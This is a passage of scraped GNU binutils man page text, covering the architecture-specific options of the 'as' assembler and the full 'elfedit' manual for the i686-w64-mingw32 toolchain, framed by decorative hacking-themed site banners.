This option specifies that the assembler should accept only AMD64 or Intel64 ISA in 64-bit mode. The default is to accept common, Intel64 only and AMD64 ISAs.

-O0 | -O | -O1 | -O2 | -Os
Optimize instruction encoding with smaller instruction size. -O and -O1 encode 64-bit register load instructions with 64-bit immediate as 32-bit register load instructions with 31-bit or 32-bits immediates, encode 64-bit register clearing instructions with 32-bit register clearing instructions, encode 256-bit/512-bit VEX/EVEX vector register clearing instructions with 128-bit VEX vector register clearing instructions, encode 128-bit/256-bit EVEX vector register load/store instructions with VEX vector register load/store instructions, and encode 128-bit/256-bit EVEX packed integer logical instructions with 128-bit/256-bit VEX packed integer logical. -O2 includes -O1 optimization plus encodes 256-bit/512-bit EVEX vector register clearing instructions with 128-bit EVEX vector register clearing instructions. In 64-bit mode VEX encoded instructions with commutative source operands will also have their source operands swapped if this allows using the 2-byte VEX prefix form instead of the 3-byte one. Certain forms of AND as well as OR with the same (register) operand specified twice will also be changed to TEST. -Os includes -O2 optimization plus encodes 16-bit, 32-bit and 64-bit register tests with immediate as 8-bit register test with immediate. -O0 turns off this optimization.

The following options are available when as is configured for the Ubicom IP2K series.

-mip2022ext
Specifies that the extended IP2022 instructions are allowed.

-mip2022
Restores the default behaviour, which restricts the permitted instructions to just the basic IP2022 ones.

The following options are available when as is configured for the Renesas M32C and M16C processors.

-m32c
Assemble M32C instructions.

-m16c
Assemble M16C instructions (the default).

-relax
Enable support for link-time relaxations.

-h-tick-hex
Support H'00 style hex constants in addition to 0x00 style.

The following options are available when as is configured for the Renesas M32R (formerly Mitsubishi M32R) series.

–m32rx
Specify which processor in the M32R family is the target. The default is normally the M32R, but this option changes it to the M32RX.

–warn-explicit-parallel-conflicts or –Wp
Produce warning messages when questionable parallel constructs are encountered.

–no-warn-explicit-parallel-conflicts or –Wnp
Do not produce warning messages when questionable parallel constructs are encountered.

The following options are available when as is configured for the Motorola 68000 series.

-l
Shorten references to undefined symbols, to one word instead of two.

-m68000 | -m68008 | -m68010 | -m68020 | -m68030

| -m68040 | -m68060 | -m68302 | -m68331 | -m68332

| -m68333 | -m68340 | -mcpu32 | -m5200

Specify what processor in the 68000 family is the target. The default is normally the 68020, but this can be changed at configuration time.

-m68881 | -m68882 | -mno-68881 | -mno-68882
The target machine does (or does not) have a floating-point coprocessor. The default is to assume a coprocessor for 68020, 68030, and cpu32. Although the basic 68000 is not compatible with the 68881, a combination of the two can be specified, since it’s possible to do emulation of the coprocessor instructions with the main processor.

-m68851 | -mno-68851
The target machine does (or does not) have a memory-management unit coprocessor. The default is to assume an MMU for 68020 and up.

The following options are available when as is configured for an Altera Nios II processor.

-relax-section
Replace identified out-of-range branches with PC-relative jmp sequences when possible. The generated code sequences are suitable for use in position-independent code, but there is a practical limit on the extended branch range because of the length of the sequences. This option is the default.

-relax-all
Replace branch instructions not determinable to be in range and all call instructions with jmp and callr sequences (respectively). This option generates absolute relocations against the target symbols and is not appropriate for position-independent code.

-no-relax
Do not replace any branches or calls.

-EB
Generate big-endian output.

-EL
Generate little-endian output. This is the default.

-march=architecture
This option specifies the target architecture. The assembler issues an error message if an attempt is made to assemble an instruction which will not execute on the target architecture. The following architecture names are recognized: r1, r2. The default is r1.

The following options are available when as is configured for a PRU processor.

-mlink-relax
Assume that LD would optimize LDI32 instructions by checking the upper 16 bits of the expression. If they are all zeros, then LD would shorten the LDI32 instruction to a single LDI. In such case as will output DIFF relocations for diff expressions.

-mno-link-relax
Assume that LD would not optimize LDI32 instructions. As a consequence, DIFF relocations will not be emitted.

-mno-warn-regname-label
Do not warn if a label name matches a register name. Usually assembler programmers will want this warning to be emitted. C compilers may want to turn this off.

The following options are available when as is configured for a MIPS processor.

-G num
This option sets the largest size of an object that can be referenced implicitly with the gp register. It is only accepted for targets that use ECOFF format, such as a DECstation running Ultrix. The default value is 8.

-EB
Generate “big endian” format output.

-EL
Generate “little endian” format output.

-mips1

-mips2

-mips3

-mips4

-mips5

-mips32

-mips32r2

-mips32r3

-mips32r5

-mips32r6

-mips64

-mips64r2

-mips64r3

-mips64r5

-mips64r6

Generate code for a particular MIPS Instruction Set Architecture level. -mips1 is an alias for -march=r3000, -mips2 is an alias for -march=r6000, -mips3 is an alias for -march=r4000 and -mips4 is an alias for -march=r8000. -mips5, -mips32, -mips32r2, -mips32r3, -mips32r5, -mips32r6, -mips64, -mips64r2, -mips64r3, -mips64r5, and -mips64r6 correspond to generic MIPS V, MIPS32, MIPS32 Release 2, MIPS32 Release 3, MIPS32 Release 5, MIPS32 Release 6, MIPS64, MIPS64 Release 2, MIPS64 Release 3, MIPS64 Release 5, and MIPS64 Release 6 ISA processors, respectively.

-march=cpu
Generate code for a particular MIPS CPU.

-mtune=cpu
Schedule and tune for a particular MIPS CPU.

-mfix7000

-mno-fix7000

Cause nops to be inserted if the read of the destination register of an mfhi or mflo instruction occurs in the following two instructions.

-mfix-rm7000

-mno-fix-rm7000

Cause nops to be inserted if a dmult or dmultu instruction is followed by a load instruction.

-mfix-r5900

-mno-fix-r5900

Do not attempt to schedule the preceding instruction into the delay slot of a branch instruction placed at the end of a short loop of six instructions or fewer and always schedule a nop instruction there instead. The short loop bug under certain conditions causes loops to execute only once or twice, due to a hardware bug in the R5900 chip.

-mdebug

-no-mdebug

Cause stabs-style debugging output to go into an ECOFF-style .mdebug section instead of the standard ELF .stabs sections.

-mpdr

-mno-pdr

Control generation of .pdr sections.

-mgp32

-mfp32

The register sizes are normally inferred from the ISA and ABI, but these flags force a certain group of registers to be treated as 32 bits wide at all times. -mgp32 controls the size of general-purpose registers and -mfp32 controls the size of floating-point registers.

-mgp64

-mfp64

The register sizes are normally inferred from the ISA and ABI, but these flags force a certain group of registers to be treated as 64 bits wide at all times. -mgp64 controls the size of general-purpose registers and -mfp64 controls the size of floating-point registers.

-mfpxx
The register sizes are normally inferred from the ISA and ABI, but using this flag in combination with -mabi=32 enables an ABI variant which will operate correctly with floating-point registers which are 32 or 64 bits wide.

-modd-spreg

-mno-odd-spreg

Enable use of floating-point operations on odd-numbered single-precision registers when supported by the ISA. -mfpxx implies -mno-odd-spreg, otherwise the default is -modd-spreg.

-mips16

-no-mips16

Generate code for the MIPS 16 processor. This is equivalent to putting .module mips16 at the start of the assembly file. -no-mips16 turns off this option.

-mmips16e2

-mno-mips16e2

Enable the use of MIPS16e2 instructions in MIPS16 mode. This is equivalent to putting .module mips16e2 at the start of the assembly file. -mno-mips16e2 turns off this option.

-mmicromips

-mno-micromips

Generate code for the microMIPS processor. This is equivalent to putting .module micromips at the start of the assembly file. -mno-micromips turns off this option. This is equivalent to putting .module nomicromips at the start of the assembly file.

-msmartmips

-mno-smartmips

Enables the SmartMIPS extension to the MIPS32 instruction set. This is equivalent to putting .module smartmips at the start of the assembly file. -mno-smartmips turns off this option.

-mips3d

-no-mips3d

Generate code for the MIPS-3D Application Specific Extension. This tells the assembler to accept MIPS-3D instructions. -no-mips3d turns off this option.

-mdmx

-no-mdmx

Generate code for the MDMX Application Specific Extension. This tells the assembler to accept MDMX instructions. -no-mdmx turns off this option.

-mdsp

-mno-dsp

Generate code for the DSP Release 1 Application Specific Extension. This tells the assembler to accept DSP Release 1 instructions. -mno-dsp turns off this option.

-mdspr2

-mno-dspr2

Generate code for the DSP Release 2 Application Specific Extension. This option implies -mdsp. This tells the assembler to accept DSP Release 2 instructions. -mno-dspr2 turns off this option.

-mdspr3

-mno-dspr3

Generate code for the DSP Release 3 Application Specific Extension. This option implies -mdsp and -mdspr2. This tells the assembler to accept DSP Release 3 instructions. -mno-dspr3 turns off this option.

-mmsa

-mno-msa

Generate code for the MIPS SIMD Architecture Extension. This tells the assembler to accept MSA instructions. -mno-msa turns off this option.

-mxpa

-mno-xpa

Generate code for the MIPS eXtended Physical Address (XPA) Extension. This tells the assembler to accept XPA instructions. -mno-xpa turns off this option.

-mmt

-mno-mt

Generate code for the MT Application Specific Extension. This tells the assembler to accept MT instructions. -mno-mt turns off this option.

-mmcu

-mno-mcu

Generate code for the MCU Application Specific Extension. This tells the assembler to accept MCU instructions. -mno-mcu turns off this option.

-mcrc

-mno-crc

Generate code for the MIPS cyclic redundancy check (CRC) Application Specific Extension. This tells the assembler to accept CRC instructions. -mno-crc turns off this option.

-mginv

-mno-ginv

Generate code for the Global INValidate (GINV) Application Specific Extension. This tells the assembler to accept GINV instructions. -mno-ginv turns off this option.

-mloongson-mmi

-mno-loongson-mmi

Generate code for the Loongson MultiMedia extensions Instructions (MMI) Application Specific Extension. This tells the assembler to accept MMI instructions. -mno-loongson-mmi turns off this option.

-mloongson-cam

-mno-loongson-cam

Generate code for the Loongson Content Address Memory (CAM) instructions. This tells the assembler to accept Loongson CAM instructions. -mno-loongson-cam turns off this option.

-mloongson-ext

-mno-loongson-ext

Generate code for the Loongson EXTensions (EXT) instructions. This tells the assembler to accept Loongson EXT instructions. -mno-loongson-ext turns off this option.

-mloongson-ext2

-mno-loongson-ext2

Generate code for the Loongson EXTensions R2 (EXT2) instructions. This option implies -mloongson-ext. This tells the assembler to accept Loongson EXT2 instructions. -mno-loongson-ext2 turns off this option.

-minsn32

-mno-insn32

Only use 32-bit instruction encodings when generating code for the microMIPS processor. This option inhibits the use of any 16-bit instructions. This is equivalent to putting .set insn32 at the start of the assembly file. -mno-insn32 turns off this option. This is equivalent to putting .set noinsn32 at the start of the assembly file. By default -mno-insn32 is selected, allowing all instructions to be used.

–construct-floats

–no-construct-floats

The –no-construct-floats option disables the construction of double width floating point constants by loading the two halves of the value into the two single width floating point registers that make up the double width register. By default –construct-floats is selected, allowing construction of these floating point constants.

–relax-branch

–no-relax-branch

The –relax-branch option enables the relaxation of out-of-range branches. By default –no-relax-branch is selected, causing any out-of-range branches to produce an error.

-mignore-branch-isa

-mno-ignore-branch-isa

Ignore branch checks for invalid transitions between ISA modes. The semantics of branches does not provide for an ISA mode switch, so in most cases the ISA mode a branch has been encoded for has to be the same as the ISA mode of the branch’s target label. Therefore GAS has checks implemented that verify in branch assembly that the two ISA modes match. -mignore-branch-isa disables these checks. By default -mno-ignore-branch-isa is selected, causing any invalid branch requiring a transition between ISA modes to produce an error.

-mnan=encoding
Select between the IEEE 754-2008 (-mnan=2008) or the legacy (-mnan=legacy) NaN encoding format. The latter is the default.

–emulation=name
This option was formerly used to switch between ELF and ECOFF output on targets like IRIX 5 that supported both. MIPS ECOFF support was removed in GAS 2.24, so the option now serves little purpose. It is retained for backwards compatibility. The available configuration names are: mipself, mipslelf and mipsbelf. Choosing mipself now has no effect, since the output is always ELF. mipslelf and mipsbelf select little- and big-endian output respectively, but -EL and -EB are now the preferred options instead.

-nocpp
as ignores this option. It is accepted for compatibility with the native tools.

–trap

–no-trap

–break

–no-break

Control how to deal with multiplication overflow and division by zero. –trap or –no-break (which are synonyms) take a trap exception (and only work for Instruction Set Architecture level 2 and higher); –break or –no-trap (also synonyms, and the default) take a break exception.

-n
When this option is used, as will issue a warning every time it generates a nop instruction from a macro.

The following options are available when as is configured for a LoongArch processor.

-fpic

-fPIC

Generate position-independent code

-fno-pic
Don’t generate position-independent code (default)

The following options are available when as is configured for a Meta processor.

“-mcpu=metac11”
Generate code for Meta 1.1.

“-mcpu=metac12”
Generate code for Meta 1.2.

“-mcpu=metac21”
Generate code for Meta 2.1.

“-mfpu=metac21”
Allow code to use FPU hardware of Meta 2.1.

See the info pages for documentation of the MMIX-specific options.

The following options are available when as is configured for a NDS32 processor.

“-O1”
Optimize for performance.

“-Os”
Optimize for space.

“-EL”
Produce little endian data output.

“-EB”
Produce little endian data output.

“-mpic”
Generate PIC.

“-mno-fp-as-gp-relax”
Suppress fp-as-gp relaxation for this file.

“-mb2bb-relax”
Back-to-back branch optimization.

“-mno-all-relax”
Suppress all relaxation for this file.

“-march=<arch name>”
Assemble for architecture <arch name> which could be v3, v3j, v3m, v3f, v3s, v2, v2j, v2f, v2s.

“-mbaseline=<baseline>”
Assemble for baseline <baseline> which could be v2, v3, v3m.

“-mfpu-freg=FREG”
Specify a FPU configuration.

“0 8 SP / 4 DP registers”

“1 16 SP / 8 DP registers”

“2 32 SP / 16 DP registers”

“3 32 SP / 32 DP registers”

“-mabi=abi”

Specify a abi version <abi> could be v1, v2, v2fp, v2fpp.

“-m[no-]mac”
Enable/Disable Multiply instructions support.

“-m[no-]div”
Enable/Disable Divide instructions support.

“-m[no-]16bit-ext”
Enable/Disable 16-bit extension

“-m[no-]dx-regs”
Enable/Disable d0/d1 registers

“-m[no-]perf-ext”
Enable/Disable Performance extension

“-m[no-]perf2-ext”
Enable/Disable Performance extension 2

“-m[no-]string-ext”
Enable/Disable String extension

“-m[no-]reduced-regs”
Enable/Disable Reduced Register configuration (GPR16) option

“-m[no-]audio-isa-ext”
Enable/Disable AUDIO ISA extension

“-m[no-]fpu-sp-ext”
Enable/Disable FPU SP extension

“-m[no-]fpu-dp-ext”
Enable/Disable FPU DP extension

“-m[no-]fpu-fma”
Enable/Disable FPU fused-multiply-add instructions

“-mall-ext”
Turn on all extensions and instructions support

The following options are available when as is configured for a PowerPC processor.

-a32
Generate ELF32 or XCOFF32.

-a64
Generate ELF64 or XCOFF64.

-K PIC
Set EF_PPC_RELOCATABLE_LIB in ELF flags.

-mpwrx | -mpwr2
Generate code for POWER/2 (RIOS2).

-mpwr
Generate code for POWER (RIOS1)

-m601
Generate code for PowerPC 601.

-mppc, -mppc32, -m603, -m604
Generate code for PowerPC 603/604.

-m403, -m405
Generate code for PowerPC 403/405.

-m440
Generate code for PowerPC 440. BookE and some 405 instructions.

-m464
Generate code for PowerPC 464.

-m476
Generate code for PowerPC 476.

-m7400, -m7410, -m7450, -m7455
Generate code for PowerPC 7400/7410/7450/7455.

-m750cl, -mgekko, -mbroadway
Generate code for PowerPC 750CL/Gekko/Broadway.

-m821, -m850, -m860
Generate code for PowerPC 821/850/860.

-mppc64, -m620
Generate code for PowerPC 620/625/630.

-me200z2, -me200z4
Generate code for e200 variants, e200z2 with LSP, e200z4 with SPE.

-me300
Generate code for PowerPC e300 family.

-me500, -me500x2
Generate code for Motorola e500 core complex.

-me500mc
Generate code for Freescale e500mc core complex.

-me500mc64
Generate code for Freescale e500mc64 core complex.

-me5500
Generate code for Freescale e5500 core complex.

-me6500
Generate code for Freescale e6500 core complex.

-mlsp
Enable LSP instructions. (Disables SPE and SPE2.)

-mspe
Generate code for Motorola SPE instructions. (Disables LSP.)

-mspe2
Generate code for Freescale SPE2 instructions. (Disables LSP.)

-mtitan
Generate code for AppliedMicro Titan core complex.

-mppc64bridge
Generate code for PowerPC 64, including bridge insns.

-mbooke
Generate code for 32-bit BookE.

-ma2
Generate code for A2 architecture.

-maltivec
Generate code for processors with AltiVec instructions.

-mvle
Generate code for Freescale PowerPC VLE instructions.

-mvsx
Generate code for processors with Vector-Scalar (VSX) instructions.

-mhtm
Generate code for processors with Hardware Transactional Memory instructions.

-mpower4, -mpwr4
Generate code for Power4 architecture.

-mpower5, -mpwr5, -mpwr5x
Generate code for Power5 architecture.

-mpower6, -mpwr6
Generate code for Power6 architecture.

-mpower7, -mpwr7
Generate code for Power7 architecture.

-mpower8, -mpwr8
Generate code for Power8 architecture.

-mpower9, -mpwr9
Generate code for Power9 architecture.

-mpower10, -mpwr10
Generate code for Power10 architecture.

-mpower11, -mpwr11
Generate code for Power11 architecture.

-mfuture
Generate code for ‘future’ architecture.

-mcell

-mcell

Generate code for Cell Broadband Engine architecture.

-mcom
Generate code Power/PowerPC common instructions.

-many
Generate code for any architecture (PWR/PWRX/PPC).

-mregnames
Allow symbolic names for registers.

-mno-regnames
Do not allow symbolic names for registers.

-mrelocatable
Support for GCC’s -mrelocatable option.

-mrelocatable-lib
Support for GCC’s -mrelocatable-lib option.

-memb
Set PPC_EMB bit in ELF flags.

-mlittle, -mlittle-endian, -le
Generate code for a little endian machine.

-mbig, -mbig-endian, -be
Generate code for a big endian machine.

-msolaris
Generate code for Solaris.

-mno-solaris
Do not generate code for Solaris.

-nops=count
If an alignment directive inserts more than count nops, put a branch at the beginning to skip execution of the nops.

The following options are available when as is configured for a RISC-V processor.

-fpic

-fPIC

Generate position-independent code

-fno-pic
Don’t generate position-independent code (default)

-march=ISA
Select the base isa, as specified by ISA. For example -march=rv32ima. If this option and the architecture attributes aren’t set, then assembler will check the default configure setting –with-arch=ISA.

-misa-spec=ISAspec
Select the default isa spec version. If the version of ISA isn’t set by -march, then assembler helps to set the version according to the default chosen spec. If this option isn’t set, then assembler will check the default configure setting –with-isa-spec=ISAspec.

-mpriv-spec=PRIVspec
Select the privileged spec version. We can decide whether the CSR is valid or not according to the chosen spec. If this option and the privilege attributes aren’t set, then assembler will check the default configure setting –with-priv-spec=PRIVspec.

-mabi=ABI
Selects the ABI, which is either “ilp32” or “lp64”, optionally followed by “f”, “d”, or “q” to indicate single-precision, double-precision, or quad-precision floating-point calling convention, or none or “e” to indicate the soft-float calling convention (“e” indicates a soft-float RVE ABI).

-mrelax
Take advantage of linker relaxations to reduce the number of instructions required to materialize symbol addresses. (default)

-mno-relax
Don’t do linker relaxations.

-march-attr
Generate the default contents for the riscv elf attribute section if the .attribute directives are not set. This section is used to record the information that a linker or runtime loader needs to check compatibility. This information includes ISA string, stack alignment requirement, unaligned memory accesses, and the major, minor and revision version of privileged specification.

-mno-arch-attr
Don’t generate the default riscv elf attribute section if the .attribute directives are not set.

-mcsr-check
Enable the CSR checking for the ISA-dependent CRS and the read-only CSR. The ISA-dependent CSR are only valid when the specific ISA is set. The read-only CSR can not be written by the CSR instructions.

-mno-csr-check
Don’t do CSR checking.

-mlittle-endian
Generate code for a little endian machine.

-mbig-endian
Generate code for a big endian machine.

See the info pages for documentation of the RX-specific options.

The following options are available when as is configured for the s390 processor family.

-m31

-m64

Select the word size, either 31/32 bits or 64 bits.

-mesa

-mzarch

Select the architecture mode, either the Enterprise System Architecture (esa) or the z/Architecture mode (zarch).

-march=processor
Specify which s390 processor variant is the target, g5 (or arch3), g6, z900 (or arch5), z990 (or arch6), z9-109, z9-ec (or arch7), z10 (or arch8), z196 (or arch9), zEC12 (or arch10), z13 (or arch11), z14 (or arch12), z15 (or arch13), or z16 (or arch14).

-mregnames

-mno-regnames

Allow or disallow symbolic names for registers.

-mwarn-areg-zero
Warn whenever the operand for a base or index register has been specified but evaluates to zero.

-mwarn-regtype-mismatch=strict

-mwarn-regtype-mismatch=relaxed

-mwarn-regtype-mismatch=no

-mno-warn-regtype-mismatch

Controls whether the assembler performs register name type checks and generates a warning message in case of a mismatch with the operand register type. The default (which can be restored by using the relaxed argument) is to perform relaxed register name type checks, which allow floating point register (FPR) names %f0 to %f15 to be specified as argument to vector register (VR) operands and vector register (VR) names %v0 to %v15 to be specified as argument to floating point register (FPR) operands. This is acceptable as the FPR are embedded into the lower half of the VR. Using the strict argument strict register name type checks are performed. The no argument, which is equivalent to -mno-warn-regtype-mismatch, disables any register name type checks.

The following options are available when as is configured for a TMS320C6000 processor.

-march=arch
Enable (only) instructions from architecture arch. By default, all instructions are permitted. The following values of arch are accepted: c62x, c64x, c64x+, c67x, c67x+, c674x.

-mdsbt

-mno-dsbt

The -mdsbt option causes the assembler to generate the Tag_ABI_DSBT attribute with a value of 1, indicating that the code is using DSBT addressing. The -mno-dsbt option, the default, causes the tag to have a value of 0, indicating that the code does not use DSBT addressing. The linker will emit a warning if objects of different type (DSBT and non-DSBT) are linked together.

-mpid=no

-mpid=near

-mpid=far

The -mpid= option causes the assembler to generate the Tag_ABI_PID attribute with a value indicating the form of data addressing used by the code. -mpid=no, the default, indicates position-dependent data addressing, -mpid=near indicates position-independent addressing with GOT accesses using near DP addressing, and -mpid=far indicates position-independent addressing with GOT accesses using far DP addressing. The linker will emit a warning if objects built with different settings of this option are linked together.

-mpic

-mno-pic

The -mpic option causes the assembler to generate the Tag_ABI_PIC attribute with a value of 1, indicating that the code is using position-independent code addressing, The -mno-pic option, the default, causes the tag to have a value of 0, indicating position-dependent code addressing. The linker will emit a warning if objects of different type (position-dependent and position-independent) are linked together.

-mbig-endian

-mlittle-endian

Generate code for the specified endianness. The default is little-endian.

The following options are available when as is configured for a TILE-Gx processor.

-m32 | -m64
Select the word size, either 32 bits or 64 bits.

-EB | -EL
Select the endianness, either big-endian (-EB) or little-endian (-EL).

The following option is available when as is configured for a Visium processor.

-mtune=arch
This option specifies the target architecture. If an attempt is made to assemble an instruction that will not execute on the target architecture, the assembler will issue an error message. The following names are recognized: mcm24 mcm gr5 gr6

The following options are available when as is configured for an Xtensa processor.

–text-section-literals | –no-text-section-literals
Control the treatment of literal pools. The default is –no-text-section-literals, which places literals in separate sections in the output file. This allows the literal pool to be placed in a data RAM/ROM. With –text-section-literals, the literals are interspersed in the text section in order to keep them as close as possible to their references. This may be necessary for large assembly files, where the literals would otherwise be out of range of the L32R instructions in the text section. Literals are grouped into pools following .literal_position directives or preceding ENTRY instructions. These options only affect literals referenced via PC-relative L32R instructions; literals for absolute mode L32R instructions are handled separately.

–auto-litpools | –no-auto-litpools
Control the treatment of literal pools. The default is –no-auto-litpools, which in the absence of –text-section-literals places literals in separate sections in the output file. This allows the literal pool to be placed in a data RAM/ROM. With –auto-litpools, the literals are interspersed in the text section in order to keep them as close as possible to their references, explicit .literal_position directives are not required. This may be necessary for very large functions, where single literal pool at the beginning of the function may not be reachable by L32R instructions at the end. These options only affect literals referenced via PC-relative L32R instructions; literals for absolute mode L32R instructions are handled separately. When used together with –text-section-literals, –auto-litpools takes precedence.

–absolute-literals | –no-absolute-literals
Indicate to the assembler whether L32R instructions use absolute or PC-relative addressing. If the processor includes the absolute addressing option, the default is to use absolute L32R relocations. Otherwise, only the PC-relative L32R relocations can be used.

–target-align | –no-target-align
Enable or disable automatic alignment to reduce branch penalties at some expense in code size. This optimization is enabled by default. Note that the assembler will always align instructions like LOOP that have fixed alignment requirements.

–longcalls | –no-longcalls
Enable or disable transformation of call instructions to allow calls across a greater range of addresses. This option should be used when call targets can potentially be out of range. It may degrade both code size and performance, but the linker can generally optimize away the unnecessary overhead when a call ends up within range. The default is –no-longcalls.

–transform | –no-transform
Enable or disable all assembler transformations of Xtensa instructions, including both relaxation and optimization. The default is –transform; –no-transform should only be used in the rare cases when the instructions must be exactly as specified in the assembly source. Using –no-transform causes out of range instruction operands to be errors.

–rename-section oldname=newname
Rename the oldname section to newname. This option can be used multiple times to rename multiple sections.

–trampolines | –no-trampolines
Enable or disable transformation of jump instructions to allow jumps across a greater range of addresses. This option should be used when jump targets can potentially be out of range. In the absence of such jumps this option does not affect code size or performance. The default is –trampolines.

–abi-windowed | –abi-call0
Choose ABI tag written to the .xtensa.info section. ABI tag indicates ABI of the assembly code. A warning is issued by the linker on an attempt to link object files with inconsistent ABI tags. Default ABI is chosen by the Xtensa core configuration.

The following options are available when as is configured for an Z80 processor.

@chapter Z80 Dependent Features

Command-line Options

-march=CPU[-EXT…][+EXT…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: z80, z180, ez80, gbz80, z80n, r800. In addition to the basic instruction set, the assembler can be told to accept some extension mnemonics. For example, -march=z180+sli+infc extends z180 with SLI instructions and IN F,(C). The following extensions are currently supported: full (all known instructions), adl (ADL CPU mode by default, eZ80 only), sli (instruction known as SLI, SLL or SL1), xyhl (instructions with halves of index registers: IXL, IXH, IYL, IYH), xdcb (instructions like RotOp (II+d),R and BitOp n,(II+d),R), infc (instruction IN F,(C) or IN (C)), outc0 (instruction OUT (C),0). Note that rather than extending a basic instruction set, the extension mnemonics starting with - revoke the respective functionality: -march=z80-full+xyhl first removes all default extensions and adds support for index registers halves only. If this option is not specified then -march=z80+xyhl+infc is assumed.

-local-prefix=prefix
Mark all labels with specified prefix as local. But such label can be marked global explicitly in the code. This option do not change default local label prefix .L, it is just adds new one.

-colonless
Accept colonless labels. All symbols at line begin are treated as labels.

-sdcc
Accept assembler code produced by SDCC.

-fp-s=FORMAT
Single precision floating point numbers format. Default: ieee754 (32 bit).

-fp-d=FORMAT
Double precision floating point numbers format. Default: ieee754 (64 bit).

SEE ALSO

gcc (1), ld (1), and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1403 - Linux cli command i686-w64-mingw32-elfedit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-elfedit and provides detailed information about the command i686-w64-mingw32-elfedit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-elfedit.

NAME 🖥️ i686-w64-mingw32-elfedit 🖥️

update ELF header and program property of ELF files

SYNOPSIS

elfedit [**–input-mach=machine] [–input-type=type] [–input-osabi=osabi] [–input-abiversion=**version] **–output-mach=**machine **–output-type=**type –output-osabi=osabi –output-abiversion=version –enable-x86-feature=feature –disable-x86-feature=feature [-v|–version] [-h|–help] elffile

DESCRIPTION

elfedit updates the ELF header and program property of ELF files which have the matching ELF machine and file types. The options control how and which fields in the ELF header and program property should be updated.

elffile… are the ELF files to be updated. 32-bit and 64-bit ELF files are supported, as are archives containing ELF files.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one of the –output-mach, –output-type, –output-osabi, –output-abiversion, –enable-x86-feature and –disable-x86-feature options must be given.

–input-mach=machine
Set the matching input ELF machine type to machine. If –input-mach isn’t specified, it will match any ELF machine types. The supported ELF machine types are, i386, IAMCU, L1OM, K1OM and x86-64.

–output-mach=machine
Change the ELF machine type in the ELF header to machine. The supported ELF machine types are the same as –input-mach.

–input-type=type
Set the matching input ELF file type to type. If –input-type isn’t specified, it will match any ELF file types. The supported ELF file types are, rel, exec and dyn.

–output-type=type
Change the ELF file type in the ELF header to type. The supported ELF types are the same as –input-type.

–input-osabi=osabi
Set the matching input ELF file OSABI to osabi. If –input-osabi isn’t specified, it will match any ELF OSABIs. The supported ELF OSABIs are, none, HPUX, NetBSD, GNU, Linux (alias for GNU), Solaris, AIX, Irix, FreeBSD, TRU64, Modesto, OpenBSD, OpenVMS, NSK, AROS and FenixOS.

–output-osabi=osabi
Change the ELF OSABI in the ELF header to osabi. The supported ELF OSABI are the same as –input-osabi.

–input-abiversion=version
Set the matching input ELF file ABIVERSION to version. version must be between 0 and 255. If –input-abiversion isn’t specified, it will match any ELF ABIVERSIONs.

–output-abiversion=version
Change the ELF ABIVERSION in the ELF header to version. version must be between 0 and 255.

–enable-x86-feature=feature
Set the feature bit in program property in exec or dyn ELF files with machine types of i386 or x86-64. The supported features are, ibt, shstk, lam_u48 and lam_u57.

–disable-x86-feature=feature
Clear the feature bit in program property in exec or dyn ELF files with machine types of i386 or x86-64. The supported features are the same as –enable-x86-feature. Note: –enable-x86-feature and –disable-x86-feature are available only on hosts with mmap support.

-v

–version

Display the version number of elfedit.

-h

–help

Display the command-line options understood by elfedit.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

